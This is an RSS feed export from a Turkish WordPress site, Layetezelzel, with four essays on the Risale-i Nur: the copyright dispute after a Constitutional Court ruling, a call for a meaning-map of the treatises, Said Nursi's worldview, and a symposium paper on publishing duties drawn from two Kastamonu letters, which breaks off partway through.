<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Layetezelzel &#124; Düşünce Okulu &#187; Risale-i NurLayetezelzel | Düşünce Okulu | </title>
	<atom:link href="http://layetezelzel.com/category/tumu/risale-i-nur/feed/" rel="self" type="application/rss+xml" />
	<link>http://layetezelzel.com</link>
	<description></description>
	<lastBuildDate>Tue, 19 Mar 2019 03:47:02 +0000</lastBuildDate>
	<language>tr-TR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Nurcular koalisyon oluşturabilir mi?</title>
		<link>http://layetezelzel.com/nurcular-koalisyon-olusturabilir-mi/</link>
		<comments>http://layetezelzel.com/nurcular-koalisyon-olusturabilir-mi/#comments</comments>
		<pubDate>Fri, 12 Jun 2015 06:57:54 +0000</pubDate>
		<dc:creator>Şener Boztaş</dc:creator>
				<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[AYM]]></category>
		<category><![CDATA[risale-i nur]]></category>
		<category><![CDATA[yasak]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=455</guid>
		<description><![CDATA[Seçimlerden çıktığımız şu günlerde hükümeti hangi partilerin kuracağı, koalisyon denkleminin ne olacağı merak konusu ve bir o kadar da gerilim üretiyor. Zira dört parti de birbirine çok uzak noktalarda duruyorlar. Fakat anlaşılan o ki, bütün bu mesafeye rağmen bir uzlaşı .....]]></description>
				<content:encoded><![CDATA[<p>Seçimlerden çıktığımız şu günlerde hükümeti hangi partilerin kuracağı, koalisyon denkleminin ne olacağı merak konusu ve bir o kadar da gerilim üretiyor. Zira dört parti de birbirine çok uzak noktalarda duruyorlar. Fakat anlaşılan o ki, bütün bu mesafeye rağmen bir uzlaşı olacak.</p>
<p>Bu yazdığımın başlıkla da konumuzla da doğrudan bir alakası yok ama bize bir mihenk olacak. Onu aşağıda ifade etmeye çalışacağım.</p>
<p>Asıl mevzumuz şu:</p>
<p>Bildiğiniz üzere Risale-i Nur Külliyatı’nın telif haklarıyla ilgili Nurcular arasında ciddi bir ihtilaf yaşandı. Düğümü kendi aralarında çözmeyi beceremeyen naşirlerden bir kısmının yönlendirmesiyle Ak Parti hükümeti bir tasarrufta bulundu. Fikir ve Sanat Eserleri Kanunu’nda yaptığı düzenlemeyle Külliyat’ın telif hakları Kültür Bakanlığı’na verildi, o da Diyanet İşleri Başkanlığını yetkilendirdi.</p>
<p>Bu arada bazı naşirlerin de yönlendirmesiyle CHP ilgili maddeleri Anayasa Mahkemesi’ne taşıdı, iptal istemiyle. Ve henüz yeni düzenlemeye göre hiçbir yayınevi Risale basamadan, AYM kanun maddelerini iptal etti.[1]</p>
<p>Bu kararla Külliyat’ın telif hakları önceden olduğu gibi müellifin yasal varislerine iade edilmiş oldu. Yeniden başa dönüldü; Kültür Bakanlığı bandrol verebilmek için yayınevlerinden telif sözleşmesi/vekaletname isteyecektir.</p>
<p>“Ağabeylerin” veraset iddiası daha evvel mahkeme kararıyla düştüğüne göre[2], yayınevlerinin neşriyat yapabilmelerinin yolu, Bediüzzaman’ın yasal varisleri olan akrabalarından ilgili belgeleri alabilmelerinden geçiyor.</p>
<p>Fakat her yayınevi/cemaat kendi adına gittiği için varislerin tamamı buna “evet” demiyor.</p>
<p>O zaman şu yolun denenmesi gerekiyor: mevcut bütün yayınevleri/cemaatler bir “koalisyon” oluşturarak varislerin kapısını çalabilir ve “Hiçkimse Külliyat’ı inhisar altına almayacak” sözü verebilir. Ve hatta tüm tarafların iştirakiyle yeni bir hükmi şahsiyet oluşturularak telif hakları oraya devredilebilir.</p>
<p>Peki siyaseten birbirinin anti-tezi olan partiler bile koalisyon hükümeti kurabiliyorken, “Haliliye mesleği”nin mensubu olan Nurcular böyle bir “koalisyon” oluşturabilirler mi?</p>
<p>Bence “Nurcular” oluşturamazlar.</p>
<p>Fakat “Nur Talebeleri” oluşturabilir.</p>
<p>İhlas ve uhuvvet risalelerinin emri de bu yönde zaten, değil mi?</p>
<p>&nbsp;</p>
<p>Not: Bağımsız genç Nur Talebeleri inisiyatif alıp örgütlenerek, çözüm için girişimde bulunabilirler.</p>
<div><br clear="all" /></p>
<hr align="left" size="1" width="33%" />
<div>
<p><a href="http://www.risalehaber.com/aym-risale-i-nur-kanununu-iptal-etti-236984h.htm">[1] http://www.risalehaber.com/aym-risale-i-nur-kanununu-iptal-etti-236984h.htm</a></p>
</div>
<div>
<p><a href="http://layetezelzel.com/wp-content/uploads/2015/06/aym.pdf" target="_blank">[2] bkz. Yargıtay Onbirinci Hukuk Dairesi kararı.</a></p>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/nurcular-koalisyon-olusturabilir-mi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bir talebim var</title>
		<link>http://layetezelzel.com/bir-talebim-var/</link>
		<comments>http://layetezelzel.com/bir-talebim-var/#comments</comments>
		<pubDate>Tue, 19 May 2015 12:47:17 +0000</pubDate>
		<dc:creator>Ali İhsan Memmi</dc:creator>
				<category><![CDATA[Kavram]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=414</guid>
		<description><![CDATA[Öncelikle bu yazı bir ihtiyaçtan meydana gelen bir talebi ihtiva etmektedir. İhtiyaç, Kur&#8217;ân-ı Kerim&#8217;in tefsiri olan ve yüzlerce yılda oluşmuş islami medeniyetten bize miras kalan hazinenin anahtarı hükmünde olan Risale-i Nur&#8217;un anlaşılmasıdır. Risale-i Nur&#8217;la muhatap olurken kastedilen manaları anlayamamanın ve .....]]></description>
				<content:encoded><![CDATA[<p>Öncelikle bu yazı bir ihtiyaçtan meydana gelen bir talebi ihtiva etmektedir. İhtiyaç, Kur&#8217;ân-ı Kerim&#8217;in tefsiri olan ve yüzlerce yılda oluşmuş islami medeniyetten bize miras kalan hazinenin anahtarı hükmünde olan Risale-i Nur&#8217;un anlaşılmasıdır. Risale-i Nur&#8217;la muhatap olurken kastedilen manaları anlayamamanın ve onun da ötesinde yanlış anlamaların önüne geçmek için aşağıda dile getireceğim hususların dikkate alınmasını ve talep edeceğim alanlarla ilgili çalışmalar yapılmasını istiyorum.</p>
<p>Bir sözün değerini anlamada ve değerlendirmede göz önünde bulundurulması gereken ölçütler nelerdir?</p>
<p>“Evet, bir kelâm, &#8220;Kimden gelmiş ve kime gelmiş ve ne için?&#8221; denilmesiyle kıymeti ve ulviyeti ve belâğati tezahür etmesi noktasından&#8230;”</p>
<p>Öyle ise Risale-i Nur&#8217;u anlamaya çalışırken de bu soruların sürekli fikir dünyamızı kurcalaması gerekir. Yani risaledeki bir metinle hemhal oluyor iken üstadın ne yazdığını değerlendirmenin yanında orayı kimi muhatap alarak yazdığı ve niye yazdığı sorularıyla da ilgilenmemiz gerekiyor.</p>
<p>Mesela lahikalarda bunu açıkca görüyoruz. Mektubun nerede, hangi şartlarda kime yazıldığını bilmek ve yazılan şahsın özelliklerini bilmek isabetli manayı yakalamamızı kolaylaştırıyor. Aynı şekilde Yeni Said eserlerinin de ekseriyetinin dışardan gelen bir soru veya saik üzerine yazıldığını söyleyebiliriz. Örnek vermek gerekirse sözlerin başındaki ifadeden ilk 8 sözün bir askerin (Hulusi Abi) nasihat istemesi üzerine yazıldığını anlayabiliyoruz. Diğer bazı müstakil risaleler için de muhatap ve maksadı bazı risalelerin başındaki ipuçlarından çıkartabiliyoruz. (Hatta sadece soru-cevap&#8217;dan oluşan kitaplar olduğunu da biliyoruz)</p>
<p>Kısaca yukarıda ifade ettiğimiz soruları sorma usulü aklımızda olmazsa anlamı ıskalayabiliriz.</p>
<p>“Çünkü, kelâmın tabakaları, ulviyet ve kuvvet ve hüsn-ü cemâl cihetinden dört menbaı var: Biri mütekellim, biri muhatap, biri maksat, biri makamdır. Ediplerin, yanlış olarak yalnız makam gösterdikleri gibi değildir. Öyle ise, sözde kim söylemiş, kime söylemiş, niçin söylemiş, ne makamda söylemiş ise bak. Yalnız söze bakıp durma.”</p>
<p>Şimdi gelelim talebime&#8230;</p>
<p>Risale-i Nur&#8217;ları tarif ederken genelde şöyle diyoruz: &#8221; Risale-i Nur konu veya ayet sırası takip etmeyen bir tefsirdir.&#8221; Niye ayet sırası takip etmediği ayrı bir çalışma olmakla beraber bu yazıda konu sırası takip etmemesi yada belki etmesi üzerine konuşmak istiyorum.</p>
<p>Bediüzzaman sıralamayı telif sırasına göre yapmıyor yani sanki kafasında çok önceden oluşmuş bir harita var ve risaleler telif edildikçe onları gerekli yerlere koyuyor. Bazen önemine binaen belli risalelerin sıralamasının değiştiğini görüyoruz demek ki Üstad bağlamına göre harita üzerine küçük değişikler yapıyor burdan ben risalelerin belli bir anlam dizimi sağlayacak şekilde dizildiğini düşünüyorum yani karmaşık bir sıra yok.</p>
<p>Bunun yanında aynı anlam kurgusunun müstakil risaleler içinde bölümlere ayırmada da olduğunu görebiliriz. Yani bir risale niye 3 bölüme ayrılıyor? Niye 3 bölüm bu şekilde sıralanıyor? Soruları kafamızda taşların yerine oturmasını sağlayacaktır diye düşünüyorum. Yani risaleleri bağlamında okumamız için böyle bir anlam haritası çıkarmamızın gerekliliğini hissediyorum.</p>
<p>Bağlamında ve ana mesajdan kopmadan okumayı Risale’nin bütünü içerisinde yer alan müstakil risalelerde yapmamız gerektiği gibi, bir müstakil risale içerisinde ayrılan bölümlerde dahi bunu yapmamız gerekiyor. Özellikle uzun risalelerde bölümlere ayrılmasında bölümler arasındaki ilişki ve bunun bütünle ilişkisi nedir diye sormamız gerekiyor.</p>
<p>Üstadın talebelerine fihrist hazırlatmasını ve bunu külliyata dahil etmesi da bu şekilde onların genel anlam haritasını anlamalarına ve yeni okuyacaklara bir yön vermesine hizmet ettiğini söyleyebiliriz. Yani Üstad talebelerinden, birkaç cümle ile dahi olsa herhangi bir risaledeki ana mesajı ifade etmelerini istiyor yine risalelerin onlardaki tesiratlarını mektup olarak istemesini de buna dahil edebiliriz.</p>
<p>Son olarak, Risalelerde bölümleri ayırmak için kullanılan kelimeler özelde bir şey ifade ediyor mu? İfade etmiyor olsa sanırsam hepsine bazen farklı bazen aynı tasnifler yapılmazdı diye düşünüyorum. Yani mebhas, makam, maksat, nokta, nükte, dal, şule, reşha, katre, nur&#8230; ayrımlarının işlenen konu ile bağlantısı nedir?</p>
<p>Bir meseleyi anlamada, onu bağlamı içerisinde okumanın ne kadar önemli olduğunu yazının birinci kısmında zaten ifade etmiştik. Bu ifade ettiğimiz hususların meydana gelmesinde de Risale-i Nurlar&#8217;ı bağlamı içerisinde anlamak duası vardır.</p>
<p>Evet, ben de talebeliğimin gereği olarak Risale-i Nur’un gerçek değerini anlamak, manayı ıskalamamak, parçalarda boğulmamak, ana mesajı yakalamak, hakikat ve iman ilmini onbeş seneye mukabil onbeş haftada almak ve zamanın mühim bir alimi olmak için diğer ifade ettiğimiz hususlarla birlikte bir anlam haritasının çıkarılmasını gerekli görüyor ve bunu Risale-i Nur’dan yetişmiş (veya yetişecek olan) sayısız muhakkik alimden talep ediyorum.</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/bir-talebim-var/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RNK 102: Risale-i Nur’un dünya görüşünü anlamaya giriş</title>
		<link>http://layetezelzel.com/rnk-102-risale-nurun-dunya-gorusunu-anlamaya-giris/</link>
		<comments>http://layetezelzel.com/rnk-102-risale-nurun-dunya-gorusunu-anlamaya-giris/#comments</comments>
		<pubDate>Sat, 02 May 2015 17:32:25 +0000</pubDate>
		<dc:creator>Yunus Emre Orhan</dc:creator>
				<category><![CDATA[Kavram]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[dünya görüşü]]></category>
		<category><![CDATA[risale-i nur]]></category>
		<category><![CDATA[said nursi]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=270</guid>
		<description><![CDATA[&#160; Bir fikre, bir görüşe hakiki teslimiyet, inanış ya da reddediş, ancak ve ancak o fikrin tahkikî bir analizi, eski tabirle mihenge vurulması neticesinde gerçekleşebilir. Fikrin tahkikî analizi ise, incelenen düşünce sisteminde, malumatı marifete inkilab ettiren metodolojinin/usûlün tespit edilmesi ile .....]]></description>
				<content:encoded><![CDATA[<p>&nbsp;</p>
<p>Bir fikre, bir görüşe hakiki teslimiyet, inanış ya da reddediş, ancak ve ancak o fikrin tahkikî bir analizi, eski tabirle mihenge vurulması neticesinde gerçekleşebilir. Fikrin tahkikî analizi ise, incelenen düşünce sisteminde, malumatı marifete inkilab ettiren metodolojinin/usûlün tespit edilmesi ile mümkün olur. Fakat, hiçbir zaman bir düşünce sistemi salt bir usûl veya metodoloji olarak kalmaz. Metodik farklılaşma gerçekleştiği nispette, eş zamanlı olarak, diğer düşünce sistemlerinden farklılaşan bir dünya görüşü de sunar. Düşünce sistemlerinde dünya görüşü, çeşitli kavram ve tasavvurlar tarafından ince ince dokunur. Bu dokuma işleminin sınırları ve çerçevesi, düşünce sistemine hâkim olan epistemolojik otorite tarafından belirlenir. Dünya görüşünü gözlemleyebileceğimiz en önemli doneler ise, o fikriyat içerisinde epistemolojik otorite tarafından konumlandırılan ve tanımlanan Yaratıcı-insan-alem ilişkisidir.</p>
<p>Risale-i Nurlarimandır, içinde bir fikriyat barındırır; ve bir usûldür – ki bu benim terkibimde RNK 101 dersine tekabül eder. “<em>RNK 101: Risale-i Nur’un Usulünü Anlamaya Giriş</em>”. Fakat, aynı zamanda bir dünya görüşüdür de. Ve bu dünya görüşünün anlaşılması, eserlerin anlaşılmasına ziyadesiyle katkıda bulunacaktır kanaatindeyim. Mamafih, bu türlü derinlemesine çalışmalarda, henüz başlangıç seviyesinde olduğumuzu her şeyden önce bir kabul edelim. Giriş mahiyetinde değerlendirilebilecek bu yazı, bir derdin, bir sancının, bir arayışın dışavurumundan öte bir şey değildir.</p>
<p>Önce epistemik otoriteden başlayalım. Risale-i Nur’un dünya görüşünün sınırlarını ve çerçevesini belirleyen epistemolojik otorite, kanaatimce,<em>mana-yı ismî </em>ve <em>mana-yı harfî </em>kavram çiftinin otoritesidir. Nursi’nin Yaratıcı-insan-âlem ilişkileri hususundaki tasavvurları, bu epistemik otoritenin sınırları içinde inşa edilir. Fakat müellifinin söyleminden de çıkarsanacağı üzere, Risale-i Nur’un dünya görüşü, müstakil bir dünya görüşü değildir. Bilakis o, Kur’andan istifade ederek, Yaratıcı, âlem ve insan ilişkileri hususundaki anladığı ve belirttiği tasvirler üzerine inşa edilir. Başka bir deyişle Risale-i Nur’lar, Kur’an’ın sunduğu görüş manzumesinin hizmetinde olan eserlerdir.</p>
<p>Arayışımıza devam edersek, Risale-i Nur’daki dünya görüşü incelemesi, Nursi’deki kainat algısının incelikli bir şekilde anlaşılması ihtiyacını ortaya koyar. Uzun süreler üzerinde tefekkür ettiğim ve hala devam eden tefekkürlerimi zorlayan “kitab-ı kebir-i kainat” kavramsallaştırması, bu ihtiyacın karşılanması için mühim ipuçları barındırır. Bu kavramsal terkipteki kozmik algının ve insanın ilişkiler ağındaki konumlandırılışının tespiti, Nursi’nin dünya görüşünü anlama yolunda büyük ehemmiyet arz ediyor kanaatindeyim.</p>
<p>Peki bu terkip içerisindeki kozmik algı ve insanın konumlandırılışı, ne tür analiz araçlarıyla ortaya çıkartılabilir? Yoğunlaşmamız gereken diğer kavramlar nelerdir?</p>
<p>Risale-i Nur’un sunduğu ve işlediği dünya görüşünün, yani kainat alemi ve insan alemi ilişkisinin en önemli unsurlarına temas etmek için, bu unsurları birbirine bağlayan bağlantıları netleştirilmesi lazım. Bu minval üzere, Nursi’nin dünya görüşünü dile getiren bir bütün ortaya koyabilmek için, bu konudaki analizlerimizi iki temel eksen üzerine oturtmamızın faydalı olabileceğini düşünüyorum. Birinci eksende, Risale-i Nur’da zaman, mekan, hareket, tahavvülat, iktiran, fiil ve tesir konularını ele almak; bu kavramlar ışığında nitelikli bir tevhid, vahdet, vahidiyet, vahdaniyet ve ehadiyet okuması gerçekleştirmek.  İkinci eksende ise, Risale-i Nur’da tasdik edici makama oturtulan <em>ene/ben(lik) </em>ile tefekkür aleti <em>akıl </em>ile <em>masnuat </em>arasındaki ilişkinin karakterini tahlil etmek. Birinci eksen bizi kainat alemi ve Yaratıcı ilişkisindeki muammaların analizine, ikinci eksen ise insan muammasının analizine değerli doneler sağlayacak. Tabiidir ki, bu iki eksen üzerinde araştırmalarımızı götürürken, yine Risale-i Nur’un bu ilişkilerdeki girift yönleri analiz etmek için geliştirdiği kavramlar üzerine yoğunlaşmak gerekecektir (ör:cüz-küll, cüzî-küllî, nazar-niyet gibi.)</p>
<p>Beklenen sonuç nedir? Araştırmadaki gaye nedir?</p>
<p>Öncelikle bu araştırmalar, Risale-i Nur’daki Allah, kainat âlemi ve insan âlemi arasındaki ilişkinin yönünü ve mahiyetini açığa çıkacaktır. Bu mahiyetin belirginleşmesi, Nursi’nin düşünsel olarak içinde yaşadığı âlem tasavvuru ve boyutları hakkında yeni yaklaşımlar tespit etmemize vesile olacaktır. Bu tespitler ise, bu tasavvur içinde inşa edilmekte olan şeyin (yani külliyatın hedefi/metodu v.b.)ne idüğünü anlaşılır kılacaktır.</p>
<p>Diyorum ki, tüm dikkatlerimizi ve mesaimizi, yukarıda belirtilen iki ana ekseni ve diğer tartışmaları da içinde barındıran <em>mana-yı ismi</em> ve <em>mana-yı harfi</em> teorilerini anlamaya harcayalım. İşe en baştan, daha dikkatli, daha sabırlı bir şekilde başlayalım. Adım adım, tembellik yapmadan, ihlasla, taleple dua edelim. Eminim ki bu iki kapsamlı teori üzerine kapsamlı yapılacak her çalışma,tüm boyutları ve dinamikleriyle hala bilgi üretimine zemin sağlayan Risale-i Nur’u “hâlâ anlaşılamamış” olandan, “henüz anlaşılmaya başlanan” bir eser statüsüne çıkartmaya vesile olacaktır.</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/rnk-102-risale-nurun-dunya-gorusunu-anlamaya-giris/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>18 ve 35. Mektuplar ışığında  Nur talebelerinin neşriyat yükümlülüğü*</title>
		<link>http://layetezelzel.com/18-ve-35-mektuplar-isinda-nur-talebelerinin-nesriyat-yukumlulugu1/</link>
		<comments>http://layetezelzel.com/18-ve-35-mektuplar-isinda-nur-talebelerinin-nesriyat-yukumlulugu1/#comments</comments>
		<pubDate>Thu, 23 Apr 2015 19:44:26 +0000</pubDate>
		<dc:creator>Şener Boztaş</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Kavram]]></category>
		<category><![CDATA[Lahikalar]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[neşriyat]]></category>
		<category><![CDATA[risale-i nur]]></category>
		<category><![CDATA[vazife]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=260</guid>
		<description><![CDATA[Giriş Öncelikle “18 ve 35. Mektup” derken neyi kastettiğimi ifade etmem gerekiyor. Mektuplar 18 [2] ve 35 [3] sıra numarasıyla bu sempozyumun konusu olan Kastamonu Lahikası’nda yer alıyorlar. Bu noktada şöyle haklı bir soruyla karşılaşıyoruz: Hangi yayınevinin, hangi edisyonuna göre bu sıra .....]]></description>
				<content:encoded><![CDATA[<p><strong>Giriş</strong></p>
<p>Öncelikle “18 ve 35. Mektup” derken neyi kastettiğimi ifade etmem gerekiyor. Mektuplar 18 <strong>[2]</strong> ve 35 <strong>[3] </strong>sıra numarasıyla bu sempozyumun konusu olan <em>Kastamonu Lahikası</em>’nda yer alıyorlar. Bu noktada şöyle haklı bir soruyla karşılaşıyoruz: Hangi yayınevinin, hangi edisyonuna göre bu sıra numaraları?</p>
<p>Mektupları numaralandırarak yayınlayan iki yayınevi var: Söz Basım Yayın ve Yeni Asya Neşriyat. Biz bu çalışmamızda Söz Basım Yayın’ın, Şubat 2014 tarihli baskısını referans aldık. Çünkü Yeni Asya Neşriyat 35. Mektubu <em>Barla Lahikası</em>’na dercetmiş.<strong>[4]</strong></p>
<p>Çalışmalarım esnasında iki hususla karşılaştım. Bunlardan birincisi; mektupların sıralaması yayınevlerine göre farklılık arz ediyor. Şahsen bunu bir problem olarak görmüyorum. Zira biraz sonra aşağıda değineceğimiz “tanzim” vazifesi bunu mümkün kılıyor.</p>
<p>İkinci ve asıl önemli olan husus ise şu: 18. Mektup her yayınevinin tüm edisyonlarında yer almakla birlikte, 35. Mektup bazılarında var, bazılarında yok. Yaptığım araştırmaya göre 35. Mektup Latinize <em>Kastamonu Lahikası</em>’nın Sinan Matbaası, 1960 tarihli baskısında yok. O nüshayı esas alan Sözler Yayınevi’nin nüshalarında da yok. Dolayısıyla uzunca bir süre bu mektup okuyuculara ulaşmamış. Zira biliyorsunuz 90’lı yıllara kadar çoğunlukla bu nüshalar okunuyordu. Edindiğimiz bilgilere göre ilk olarak İhlas-Nur Neşriyat bu mektubu Latinize nüshada yayınladı. Daha sonra Nesil Yayınları 2 ciltte topladıkları Külliyata <strong>[5]</strong> dercetti. Bugün itibariyle (bugün derken, bandrol sorununun başlamasından önce basılan son nüshalardan bahsediyorum) Sözler Yayınevi’nin nüshalarında bu mektup yer almazken; Söz Basım, Zehra Yayıncılık ve Envar Neşriyat mektubu yayınlıyor. Yeni Asya Neşriyat ise ilk baskılarında kullanmadığı bu mektubu (Örn. 1994) daha sonra <em>Barla Lahikası</em>’nda 284 sıra numarasıyla (s. 588-591) neşretti. Yine Diyanet İşleri Başkanlığı’nın yayına hazırladığı son nüshada da bu mektubun yer aldığını biliyoruz. <strong>[6]</strong></p>
<p>Denilebilir ki, yukarıda sıralama için öne sürülen “tanzim” gerekçesiyle bunu da normal karşılamak mümkün. Ancak biraz sonra değineceğim mektubun muhtevası, bu durumu bir problematik haline getiriyor. Özellikle yine aşağıda değineceğim “Beşinci Desise-i Şeytaniye”de 35. Mektubun muhtevasına yakın ama başka bağlamda ifade edilen yaklaşımla birlikte konuyu ele aldığımızda, bu problematik daha da önem kazanıyor.</p>
<p>Şimdi sözkonusu mektuplara daha yakından bakalım.</p>
<p><strong>1. Temel Kavramlar ve Referans Metinler</strong></p>
<p>Her iki mektupta da Bediüzzaman, “kardeş”lerine, bir başka deyişle “Risale-i Nur Talebeleri”ne Külliyat’ın neşri hakkında bir takım görevler veriyor. Daha doğru bir ifadeyle “Üstad” <strong>[7]<a href="#_ftn7" name="_ftnref7"></a></strong> olarak onlara imkân ve alan açıyor. Risale-i Nur Külliyatı üzerinde ve ondan hareketle, onu mehaz alarak yapmaları gereken çalışmaları sıralıyor. Ve bu görevler üzerinden “Risale-i Nur Talebesi”nin tanımını yapıyor.</p>
<p><strong> </strong></p>
<p><strong> 1. 1. Temel Kavramlar</strong></p>
<p><strong>Risale-i Nur Talebesi</strong>: Risale-i Nur Külliyatı’nda talebeliğin daha kapsamlı tanımları yapılmakla birlikte, bizim çalıştığımız bağlamda tanım, 18. Mektubun hemen başında şöyle ifade ediliyor: “Risale-i Nur’a intisap eden zâtın en ehemmiyetli vazifesi, onu yazmak ve yazdırmaktır ve intişarına yardım etmektir. Onu yazan veya yazdıran, ‘Risale-i Nur talebesi’ unvanını alır.”</p>
<p><strong>Haşiye</strong>: Sayfa kenarlarına ilâve edilen açıklayıcı ve tamamlayıcı bilgileri içeren not.</p>
<p><strong>Şerh</strong>: Bir eserin daha geniş biçimde açıklanması amacıyla yazılmış kitapları ifade eden bir telif türü.</p>
<p><strong>İzah</strong>: Vazıh ve ayan kılma, açıklama.</p>
<p><strong>Neşir</strong>: Yayma, yayınlama.</p>
<p><strong>Tafsil</strong>: Ayrıntılı açıklama, uzatma.</p>
<p><strong>Talim</strong>: Öğretme. Birine bilgi öğretmek, ders okutmak.</p>
<p><strong>Telif</strong>: Yanyana getirme, kaleme alma, yazma.</p>
<p><strong>Tekmil</strong>: Tamam etme, tamamlama.</p>
<p><strong>Tanzim</strong>: Nizama koyma, düzenleme, sıra ile verme.</p>
<p><strong>Tertip</strong>: Dizme, düzenleme, hazırlama.</p>
<p><strong>Tefsir</strong>: Yorumlama.</p>
<p><strong>Tashih</strong>: Düzelti, düzeltme.</p>
<p><strong>Tayyetme</strong>: Geçip gitme, silme, yok etme.</p>
<p><strong>İhlas</strong>: Kulun bütün davranışları ve sözlerinde sadece Allah’ın rızasını gözetmesi. Bir şeyi, içine karışmış ve değerini düşürmüş olan başka şeylerden temizleyip arındırma, saflaştırma.</p>
<p><strong>Tesanüd</strong>: Toplumda bireylerin ve grupların birbiriyle dayanışma halinde yaşamasını ifade eden ahlâk terimi.</p>
<p><strong>Şahs-ı manevi</strong>: Ortak kimlik etrafında oluşan tüzel kişilik.</p>
<p><strong> </strong></p>
<p><strong>1. 2. Referans Metinler</strong></p>
<p><strong>1. 2. 1. Onsekizinci Mektup ne söylüyor?</strong></p>
<p>Risale-i Nur’un neşrine odaklanan ve iki madde halinde yazılan 18. Mektubu, üç başlık altında özetleyebiliriz:</p>
<p><em>Birincisi: Risale-i Nur Talebesi kime denir ve vazifesi nedir?</em></p>
<p>Mektubun ilk iki<strong>[8] </strong>ve son cümlesini<strong>[9]<a href="#_ftn9" name="_ftnref9"></a></strong> birlikte okuduğumuzda şunu anlıyoruz: Risale-i Nur Talebesi metne yani manaya intisap eder, kişi ya da kişilere değil. Bediüzzaman, metnin müellifi olmasına rağmen kendisine intisap beklemez. Kendisiyle olan irtibatın ise yine metinler üzerinden kurulmasını ister. Yani “hakaik-i imaniye”yi ders veren “hadim-i Kur’an olan Üstad” olarak, mana düzleminde bir ilişkiye teşvik eder talebelerini.</p>
<p>Talebelik unvanını almak için, intisap edilen metni yazmak, yazdırmak ve yaymak en önemli vazifedir.</p>
<p><em>İkincisi: Risale-i Nur’un neşrine çalışmanın faydaları nelerdir?</em></p>
<p>Risale-i Nur yazımıyla (<em>kitabet</em>) dört açıdan ibadet hükmüne geçen dört sonuç elde edilir: İmanını kuvvetlendirmek, başkasının imanının tehlikeden kurtulmasına çalışmak, imani tefekkürü elde etmek ve Üstadına yardım ederek sevabına ortak olmak.</p>
<p>Burada altı çizilmesi gereken bir husus da şudur: “Bir küçük risaleyi <em>kendine bilerek</em> yazan adam” vurgusuyla Bediüzzaman, (1) minneti reddetmekte, (2) neşriyat faaliyetlerinde bulunanların “evvela kendi nefsine hitap etme” ilkesini ihlal etmemeleri gerektiğine dikkat çekmektedir.</p>
<p><em>Üçüncüsü: Neşriyat faaliyetinde karşılaşılan tehditler nelerdir?</em></p>
<p>“Risale-i Nur’un (&#8230;) çelik gibi metin kalelerine ve elmas kılıç gibi kuvvetli hüccetlerine mukabele edemediklerinden (&#8230;) yazanların şevklerini kırmak ve fütur vermek ve <em>yazıdan vazgeçirmek</em>&#8230;” Burada da neşriyat odaklı bir değerlendirme yapılmakta olduğunu görüyoruz. Risale-i Nur neşriyatına bütün manilere rağmen devam edilmesi gerektiğini ifade ediyor.</p>
<p>&nbsp;</p>
<p><strong>1. 2. 2. Otuzbeşinci Mektup ne söylüyor?</strong></p>
<p>Onsekizinci Mektup doğrudan Risale-i Nur’un yazımı ve yayımı ile ilgiliyken bu mektup, hem yazımı hem de onun üzerinden (mehaz) yeni metinler üretmenin usulünü, biçimini ve imkânını beyan ediyor.</p>
<p>Yeni metinler telif etmek için teşebbüste bulunduğunu fakat sonuç alamadığını,<strong>[10]<a href="#_ftn10" name="_ftnref10"></a></strong> dolayısıyla vazifesinin tamamlandığına inandığını söyleyen Bediüzzaman,<strong>[11]<a href="#_ftn11" name="_ftnref11"></a></strong> Külliyat üzerindeki tasarrufun bundan böyle “kardeş”lerinde yani Risale-i Nur Talebelerinde olduğunu ifade ediyor.</p>
<p>Bediüzzaman Kastamonu’da Mart 1936-Ekim 1943 tarihleri arasında mecburi ikamete tabi tutuluyor.</p>
<p>Külliyat’ın telif kronolojisine<strong>[12]<a href="#_ftn12" name="_ftnref12"></a></strong> baktığımızda <em>Sözler</em>, <em>Lem’alar</em> ve <em>Mektubat</em>’a dahil edilen risalelerin telifinin Kastamonu yıllarından önce tamamlandığını görüyoruz. “Teşebbüs ettimse de çalıştırılamadım” ve “vazifem bitmiş” ifadelerinden ise anlıyoruz ki, telif tarihi o yıllara tekabül eden ve <em>Şualar</em>’a dahil edilen risaleler de telif edilmiş ve bu mektup Kastamonu yıllarının sona ermesine yakın bir tarihte yazılmış. Zira 1943’ten sonra telif edilen 11 ila 14. Şualar mahkeme müdafaalarından oluşmaktadır. Bu anlamda tek istisna El-Hüccetü’z-Zehra olan 15. Şua’dır.</p>
<p>Tekrar 35. Mektubun muhtevasına dönelim ve Nur Talebelerinin ne tür vazifelerle yükümlü olduklarını inceleyelim.</p>
<p>Vasiyet edilen çalışmaları üç başlık altında toplayabiliriz.</p>
<p><em>Birincisi</em>: Mevcut metinler üzerinde tasarrufta bulunmak.</p>
